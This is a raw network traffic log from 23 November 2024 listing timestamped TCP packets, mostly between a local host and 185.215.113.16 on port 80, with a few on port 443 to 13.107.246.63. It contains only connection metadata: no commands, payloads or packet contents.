Nov 23, 2024 18:22:21.543665886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.543708086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.544259071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.544308901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.544368982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.544408083 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.544996977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.545042992 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.545176029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.545219898 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.545726061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.545769930 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.545839071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.545881987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.546488047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.546530008 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.546595097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.546638012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.547204018 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.547276974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.547277927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.547336102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.547934055 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.548048019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.548090935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.548645973 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.548692942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.548760891 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.548804045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.549371004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.549417973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.549427032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.549472094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.550110102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.550156116 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.550276041 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.550318003 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.550827026 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.550865889 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.550951958 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.550990105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.551552057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.551683903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.551733017 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.552290916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.552335978 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.552402020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.552445889 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.553015947 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.553060055 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.553117037 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.553158998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.553755045 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.553802967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.553865910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.553910971 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.554471016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.554536104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.554585934 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.554626942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.555213928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.555258036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.555334091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.555378914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.555946112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.555989027 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.556057930 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.556119919 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.556672096 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.556715012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.556787014 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.556824923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.557416916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.557461023 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.557612896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.557658911 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.558187962 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.558334112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.558342934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.558371067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.558962107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.559015989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.559071064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.559115887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.559603930 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.559742928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.559787989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.560368061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.560412884 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.560481071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.560524940 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.561104059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.561167955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.561173916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.561214924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.561810970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.561861038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.561913967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.561954975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.562511921 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.562565088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.562633991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.562674999 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.563276052 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.563343048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.563380003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.563426971 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.564080000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.564124107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.564194918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.564240932 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.564980030 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.565021992 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.565067053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.565104961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.565912962 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.565962076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.565992117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.566032887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.566636086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.566692114 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.566728115 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.566770077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.567275047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.567356110 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.567358017 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.567398071 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.567809105 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.567846060 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.567856073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.568378925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.568425894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.568510056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.568548918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.569082022 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.569124937 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.569202900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.569246054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.569839954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.569884062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.569947958 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.569989920 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.570559978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.570600986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.570673943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.570714951 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.571295023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.571343899 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.571501970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.571785927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.572274923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.572350979 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.572392941 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.573064089 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.573105097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.573107004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.573144913 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.626528978 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.626566887 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.626653910 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.627556086 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.627571106 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.690500021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.690622091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.690689087 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.690820932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.690867901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.690892935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.690933943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.691551924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.691657066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.691698074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.692257881 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.692303896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.738606930 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.738734961 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.738805056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.738998890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.739044905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.739072084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.739116907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.739804983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.739852905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.739883900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.739923000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.740521908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.740645885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.740689993 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.741252899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.741298914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.741307020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.741348028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.741903067 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.741954088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.741993904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.742041111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.742619038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.742661953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.742713928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.742759943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.743371010 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.743475914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.743521929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.744077921 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.744122028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.744123936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.744168997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.744816065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.744865894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.744918108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.744960070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.745570898 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.745613098 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.745690107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.745733023 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.746270895 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.746314049 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.746387959 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.746431112 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.747001886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.747050047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.747095108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.747137070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.747736931 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.747782946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.747836113 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.747876883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.748466969 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.748509884 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.748605967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.748646021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.749197006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.749238968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.749380112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.749939919 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.749983072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.750047922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.750087976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.750664949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.750705957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.750788927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.750824928 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.751400948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.751445055 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.751514912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.751554012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.752155066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.752204895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.752276897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.752316952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.752852917 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.752964020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.753004074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.753580093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.753621101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.753694057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.753736973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.754312038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.754354000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.754447937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.754487038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.755052090 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.755089045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.755147934 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.755184889 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.755840063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.755884886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.755927086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.756504059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.756547928 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.756639004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.756680965 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.757292032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.757333040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.757441044 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.757483959 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.757972956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.758022070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.758080006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.758122921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.758686066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.758727074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.758810043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.758852959 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.759427071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.759469986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.759509087 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.759547949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.760171890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.760215998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.760268927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.760312080 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.760951042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.760997057 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.761070967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.761115074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.761634111 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.761739016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.761787891 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.762346983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.762408972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.762412071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.762454987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.763084888 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.763128996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.763190031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.763858080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.763904095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.763943911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.764000893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.764565945 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.764663935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.764708996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.765275955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.765317917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.765386105 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.765429974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.766046047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.766094923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.766112089 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.766154051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.766757965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.766807079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.766855955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.766905069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.767477989 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.767584085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.767637968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.768240929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.768302917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.768349886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.768440962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.768945932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.768987894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.769062042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.769104958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.769679070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.769722939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.769814014 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.769857883 CET	49779	80	192.168.2.4	185.215.113.16
